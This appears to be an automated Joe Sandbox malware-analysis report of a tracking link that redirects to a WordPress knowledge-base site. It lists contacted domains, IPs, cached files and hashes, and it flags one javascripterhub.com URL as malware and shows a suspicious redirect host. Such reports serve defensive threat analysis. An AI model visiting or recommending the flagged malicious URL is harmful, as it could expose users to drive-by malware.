Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-editor/style.min.css,qver=6.2.6.pagespeed.ce.y45o5zF8g8.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-me	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/blocks.style.build.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js?ver=1681771414	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/reusable-blocks/style.min.css?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/before-during-and-after-the-assessment-for-	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/script.min.js	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/editor/style.min.css?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/wp-emoji-release.min.js?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/setting-up-and-managing-the-e-assessment-sy	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7.5.1	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-3-77x100.jpg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.3	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/3/2021/01/logo-en.png	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/it-professionals-for-publicly-funded-school	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/classic-themes.min.css?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7.5.1	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-json/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.5.1	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-styles.css?ver=1681771414	0%	Avira URL Cloud	safe
https://eqao-kb.lswp.vretta.com/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/feed/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.j	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-editor/style.min.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-4-100x89.jpg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.4	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/nux/style.min.css?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-100x100.jpg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/?s=	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/professional-responsibilities/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/components/style.min.css,qver=6.2.6.pagespeed.ce.Ooylure4I4.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/scrollspy.js?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-st	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/loading.svg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-5-100x100.jpg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/letters-checklists-and-scripts/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/blocks.style.build.css?ver=1680234601	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/it-professionals-for-private-schools-3/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/#breadcrumb	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/mod_pagespeed_beacon?url=https%3A%2F%2Feqao-kb-osslt.lswp.vretta.com%2F	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/search.svg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/css/style.css?ver=1.15.4	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-6-1-75x100.jpg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-1-100x100.jpg	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/fr/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/knowledge-base/participation-in-the-osslt/	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/js.min.js?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-10	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.js?ver=344	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-menu-widget.css?ver=6.2.6	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/administration-guidelines-and-supports-for-	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/script.min.js?ver=1680234601	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.js?ver=3.9.1	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/article-categories/professional-responsibilities-and-assessmen	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-library/style.min.css,qver=6.2.6.pagespeed.ce.R82w6B6jQa.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/components/style.min.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/blocks.style.	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-library/style.min.css	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/wlwmanifest.xml	0%	Avira URL Cloud	safe
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.j	0%	Avira URL Cloud	safe
https://javascripterhub.com/L4ohvt4YKKxSh9iz1MjAh9Mf2JnXlXIqVaHT9cVsuey	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
trk.mmail.lst.fin.gov.on.ca	204.41.1.85	true	false	unknown
eqao-kb-osslt.lswp.vretta.com	35.182.53.34	true	false	high
virtual.urban-orthodontics.com	185.76.79.50	true	false	high
www.google.com	74.125.21.99	true	false	high
javascripterhub.com	193.46.217.168	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/reusable-blocks/style.min.css?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/blocks.style.build.css	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/	false		unknown
https://virtual.urban-orthodontics.com/TS1RyjYPMqMpD2v4ex596D8Pa+g+QyWkIkY4rjtEMLw1XzenKg8s	false		high
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/editor/style.min.css?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-editor/style.min.css,qver=6.2.6.pagespeed.ce.y45o5zF8g8.css	false	Avira URL Cloud: safe	unknown
https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938	false		unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/wp-emoji-release.min.js?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js?ver=1681771414	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-3-77x100.jpg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7.5.1	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.3	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/3/2021/01/logo-en.png	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/classic-themes.min.css?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7.5.1	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.5.1	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-styles.css?ver=1681771414	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-4-100x89.jpg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.4	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/nux/style.min.css?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-100x100.jpg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/scrollspy.js?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/loading.svg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/components/style.min.css,qver=6.2.6.pagespeed.ce.Ooylure4I4.css	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-5-100x100.jpg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/blocks.style.build.css?ver=1680234601	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/mod_pagespeed_beacon?url=https%3A%2F%2Feqao-kb-osslt.lswp.vretta.com%2F	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/css/style.css?ver=1.15.4	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/search.svg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-6-1-75x100.jpg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-1-100x100.jpg	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/js.min.js?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.js?ver=344	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/script.min.js?ver=1680234601	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.js?ver=3.9.1	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-menu-widget.css?ver=6.2.6	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-library/style.min.css,qver=6.2.6.pagespeed.ce.R82w6B6jQa.css	false	Avira URL Cloud: safe	unknown
https://javascripterhub.com/L4ohvt4YKKxSh9iz1MjAh9Mf2JnXlXIqVaHT9cVsuey	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/script.min.js	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://www.shutterstock.com/image-photo/1919311319?utm_source=iptc&utm_medium=googleimages&	chromecache_109.1.dr, chromecache_93.1.dr	false		high
https://ad.doubleclick.net/activity;register_conversion=1;	chromecache_78.1.dr	false		high
https://stats.g.doubleclick.net/g/collect	chromecache_78.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=we	chromecache_109.1.dr, chromecache_93.1.dr	false		high
https://www.youtube.com	chromecache_78.1.dr	false		high
https://www.google.com	chromecache_78.1.dr	false		high
https://www.youtube.com/iframe_api	chromecache_78.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/before-during-and-after-the-assessment-for-	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-me	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org/WPSideBar	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/setting-up-and-managing-the-e-assessment-sy	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
http://ns.useplus.org/ldf/xmp/1.0/	chromecache_109.1.dr, chromecache_93.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/it-professionals-for-publicly-funded-school	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-json/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/feed/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
http://schema.org/WPHeader	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.j	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb.lswp.vretta.com/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-editor/style.min.css	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://cct.google/taggy/agent.js	chromecache_78.1.dr	false		high
http://gmpg.org/xfn/11	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/?s=	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_80.1.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_78.1.dr	false		high
https://www.google.com/ccm/collect	chromecache_78.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/professional-responsibilities/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-st	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org/WPFooter	chromecache_71.1.dr	false		high
https://yoast.com/wordpress/plugins/seo/	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/letters-checklists-and-scripts/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
http://getbootstrap.com/javascript/#scrollspy	chromecache_80.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/it-professionals-for-private-schools-3/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://googleads.g.doubleclick.net/pagead/viewthroughconversion	chromecache_78.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/#breadcrumb	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org/SiteNavigationElement	chromecache_71.1.dr	false		high
https://www.google.com/travel/flights/click/conversion	chromecache_78.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/fr/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/xmlrpc.php?rsd	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/knowledge-base/participation-in-the-osslt/	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-10	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://m0n.co/ga	chromecache_71.1.dr	false		high
https://schema.org/WebPage	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/article-categories/administration-guidelines-and-supports-for-	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/article-categories/professional-responsibilities-and-assessmen	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://api.w.org/	chromecache_71.1.dr	false		high
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/blocks.style.	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/components/style.min.css	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-library/style.min.css	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.j	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://eqao-kb-osslt.lswp.vretta.com/wp-includes/wlwmanifest.xml	chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://ad.doubleclick.net/activity;	chromecache_78.1.dr	false		high
https://td.doubleclick.net	chromecache_78.1.dr	false		high
https://www.merchant-center-analytics.goog	chromecache_78.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.182.53.34	eqao-kb-osslt.lswp.vretta.com	United States	16509	AMAZON-02US	false
74.125.21.99	www.google.com	United States	15169	GOOGLEUS	false
185.76.79.50	virtual.urban-orthodontics.com	Spain	50129	TVHORADADAES	false
193.46.217.168	javascripterhub.com	Spain	203178	CUBENODEES	false
204.41.1.85	trk.mmail.lst.fin.gov.on.ca	Canada	808	GONET-ASN-1CA	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665516
Start date and time:	2025-04-15 16:02:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@23/92@12/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.177.100, 64.233.177.113, 64.233.177.139, 64.233.177.102, 64.233.177.138, 64.233.177.101, 172.253.124.94, 108.177.122.101, 108.177.122.113, 108.177.122.138, 108.177.122.102, 108.177.122.139, 108.177.122.100, 142.251.15.84, 74.125.136.100, 74.125.136.138, 74.125.136.113, 74.125.136.139, 74.125.136.101, 74.125.136.102, 74.125.138.100, 74.125.138.102, 74.125.138.138, 74.125.138.113, 74.125.138.139, 74.125.138.101, 64.233.176.102, 64.233.176.138, 64.233.176.100, 64.233.176.101, 64.233.176.113, 64.233.176.139, 172.253.124.95, 172.217.215.94, 173.194.219.113, 173.194.219.138, 173.194.219.101, 173.194.219.100, 173.194.219.102, 173.194.219.139, 74.125.138.97, 172.217.215.113, 172.217.215.139, 172.217.215.100, 172.217.215.102, 172.217.215.138, 172.217.215.101, 142.250.105.95, 64.233.185.95, 64.233.176.95, 74.125.21.95, 64.233.177.95, 173.194.219.95, 108.177.122.95, 142.250.9.95, 172.217.215.95, 74.125.136.95, 74.125.138.95, 142.251.15.95, 172.253.124.139, 172.253.124.138
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, update.googleapis.com, clients.l.google.com, www.google-analytics.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
VT rate limit hit for: https://trk.mmail.lst.fin.gov.on.ca/trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 75x100, components 1
Category:	dropped
Size (bytes):	8587
Entropy (8bit):	3.466231779610848
Encrypted:	false
SSDEEP:	48:1Ut6NnKkh3qk/3s403qk0eQs2QqoOFVutV/xhe1GD1in57AZP:1UtDpk9Tk0jsFcVut5xheMpy57s
MD5:	4EA52EFFBFF2C6EA4162365CA7114622
SHA1:	92262570165AF72D5C4560928BE2996C1F320DF0
SHA-256:	57BF53B9B45B0D366F7091498E7098BC41EAACFE7080A9CA8C04A1D085D1143A
SHA-512:	BFCF9F6894C2BF124FEF6E7C7068F1623F5E61CD0065781C6069BF10F7A621EEA58AFE23AF516A16F5589BDBA6A77591032CF34AF82D776A242F4907A8652291
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12943), with no line terminators
Category:	downloaded
Size (bytes):	12943
Entropy (8bit):	5.197434517262163
Encrypted:	false
SSDEEP:	384:Ie8sHDZ/J+oHewgOQGp/GJ3eYE3kfn3GVqv0s+pfYm03pYg:Ie8s1/J+oHlgOXhzYE3kf3wqv0s+pfYH
MD5:	5BC2B1FA970F9CECB3C30C0C92C98271
SHA1:	7C6BB87AAA24714B7B3B3C86DD932736A80270A9
SHA-256:	1060091178CBD6C843B802F516F230F1A3A1E85F1AFBD6EF84D80E5430BA457E
SHA-512:	1B39C7152E6561C6108A36E5B89A635CE1EF883EF683B4FB4E58D32BF2A7F415FB1DF4695562D2E8ACD85A3BF5933071294D5A1D162993930A5DC7851B9A5ED3
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7.5.1
